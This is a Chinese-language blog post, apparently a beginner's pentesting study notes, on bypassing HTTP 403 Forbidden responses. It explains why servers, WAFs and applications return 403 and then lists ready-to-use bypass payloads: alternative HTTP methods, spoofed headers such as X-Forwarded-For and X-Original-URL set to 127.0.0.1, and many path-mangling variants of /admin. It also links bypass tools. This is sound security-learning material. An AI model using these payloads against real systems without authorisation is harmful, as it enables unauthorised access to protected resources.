403-Bypass(学习记录)
发布时间:2026/9/10 21:08:38 锦皓数字建站
`)
免责声明本文章所有操作均已得到授权严禁私自用于任何形式的违法犯罪活动否则后果自行承担阅读代表同意0x00 写在前面网安萌新的学习记录文章一定有不严谨的地方欢迎指正不知道师傅们第一次知道403-bypass的过程是什么我是在字典里面漫无目的的时候发现了几个比较出名的字典都有一个单独的403.txt字典开始知道的。本文先介绍一下理论知识并附带工具推荐然后是部分实战记录。什么是 403403 status code403状态码服务器已经理解请求但是拒绝执行它。与 401 响应不同的是身份验证并不能提供任何帮助而且这个请求也不应该被重复提交。如果这不是一个HEAD请求而且服务器希望能够讲清楚为何请求不能被执行那么就应该在实体内描述拒绝的原因。当然服务器也可以返回一个 404 响应假如它不希望让客户端获得任何信息。挺好理解的如果说爆破目录是在墙上找门那404 Not Found就是没找到门而403 Forbidden就是找到了门但是门上锁了这个锁就是我们需要绕过的。403-Bypass服务器返回403而非404说明访问的文件是存在的但是不允许你访问类似鉴权失败猜测原因并尝试绕过就是Bypass了。最常见原因1、物理资源访问被拒。通常由 Web 服务器如Nginxapachetomcat等中间件直接返回的403应用层代码根本没有被执行。当访问的文件只有root用户可读写的时候外部用户请求该文件会因权限不足被中间件抛出403Web 服务器配置了拒绝访问的正则例如默认拒绝访问以.开头的敏感目录像.git2、WAF / CDN / 防火墙拦截当流量经过 WAF 设备时403 往往代表触发了安全防御规则。这类 403 的响应体Body通常会包含 WAF 的拦截页面或特定的 Request ID。访问 IP/地理位置 在黑名单里常见扫描器特征UA头拦截如sqlmapnmap默认的UA头或者 非标准/为空 的UA头请求如果请求 URL 参数或者 POST Body 中包含典型的 SQL 注入、XSS 脚本或路径穿越特征WAF 会直接进行阻断并返回 4033、应用逻辑/业务/代码级拦截请求成功穿透了中间件和 WAF到达了后端的业务代码如 Spring Boot, Django, Node.js由业务逻辑抛出的 403。用户已登录校验成功但是尝试越权操作请求头或表单中缺失CSRFtoken 或者 token 校验不匹配4、微软 IIS 的 403 细分如果是 Microsoft IIS 服务器它将 403 错误在协议层面进行了官方细分通过子状态码直接依据子状态码去查官方文档或者其他资料就行。这里列举几个详情可以看这篇 blog403.1-Execute access forbidden尝试执行一个没有执行权限的脚本例如在一个纯静态目录里运行 CGI 或 ASPX。403.3-Write access forbidden尝试对不支持 PUT 方法的目录进行写入或文件系统级禁止写入。403.4-SSL required网站配置了强制 HTTPS但客户端使用 HTTP 发起请求现代架构多用301重定向处理但严格配置下会直接403。403.6-IP address rejectedIIS 级别的 IP 限制规则生效。403.14-Directory listing denied拒绝目录列表403-Bypass姿势-FUZZ请求方法GET POST PUT DELETE CONNECT OPTIONS TRACE PATCH INVENTED HACK HEAD请求头伪造来源ip、域名、路径标准头 #1、Host删除将HTTP协议从1.1换成1.01.0不存在Host头 #2、Host双写写在原Host头下方 #3、Host修改 Host:127.0.0.1/子域名-遍历 Referer:(子)域名-路径 X-Originating-IP:127.0.0.1X-Forwarded-For:127.0.0.1X-Forwared-Host:127.0.0.1自定义头 X-Real-IP:127.0.0.1X-Real-Addr:127.0.0.1X-Remote-IP:127.0.0.1X-Remote-Addr:127.0.0.1X-Client-IP:127.0.0.1X-Client-Addr:127.0.0.1X-ProxyUser-Ip:127.0.0.1X-ProxyUser-Addr:127.0.0.1X-Original-URL:127.0.0.1X-Host:127.0.0.1X-Custom-IP-Authorization:127.0.0.1Client-IP:127.0.0.1True-Client-IP:127.0.0.1X-Forwarded:127.0.0.1Forwarded-For:127.0.0.1路径如果你访问/admin路径出现 403 那么可以尝试 FUZZ ⬇️其他路径也是类似的等效替换。/admin/? //admin// ///admin/// /./admin/./ /admin? /admin?? /admin?? /admin/?/ /admin/?? /admin/??/ /admin/.. /admin/../ /admin/./ /admin/. /admin/.// /admin/* /admin//* /admin/%2f /admin/%2f/ /admin/%20 /admin/%20/ /admin/%09 /admin/%09/ /admin/%0a /admin/%0a/ /admin/%0d /admin/%0d/ /admin/%25 /admin/%25/ /admin/%23 /admin/%23/ /admin/%26 /admin/%3f /admin/%3f/ /admin/%26/ /admin/# /admin/#/ /admin/#/./ /./admin /./admin/ /..;/admin /..;/admin/ /.;/admin /.;/admin/ /;/admin /;/admin/ //;//admin //;//admin/ /admin/./ /%2e/admin /%2e/admin/ /%20/admin/%20 /%20/admin/%20/ /admin/..;/ /admin.json /admin/.json /admin..;/ /admin;/ /admin%00 /admin.css /admin.html /admin?id1 /admin~ /admin/~ /admin/°/ /admin/ /admin/- /admin\/\/ /admin/..%3B/ /admin/;%2f..%2f..%2f /ADMIN /ADMIN/ /admin/..\;/ /*/admin /*/admin/ /ADMIN相关工具https://github.com/lobuhi/byp4xxhttps://github.com/iamj0ker/bypass-403https://github.com/gotr00t0day/forbiddenpassBurp插件:https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122部分实操1、403的作用还挺多比如作为边缘资产泄露目标所用系统。比如就是IIS返回的403报错那么后端大概率windows IIS c# SQL Server一条龙。再比如一个网址根目录403然后用字典 FUZZ 目录从泄露的文件发现是Moodle——出名的开源的在线学习管理系统中文名魔灯然后访问/pix/moodlelogo.png路径发现确实有 logo 出来那么就大体可以确定其他活着的资产也是用的魔灯系统后续可能会更新更多实操内容或者修改前面不对的地方~如有不恰当的地方欢迎指正哦 ~o(●’◡’●)o参考blogs【完整教程渗透技巧403绕过】【IIS 403错误详细原因】
锦
锦皓数字建站
深耕本土企业品牌数字化升级,专注原创端正雅致商务官网,从视觉设计到稳定运维全程保驾护航。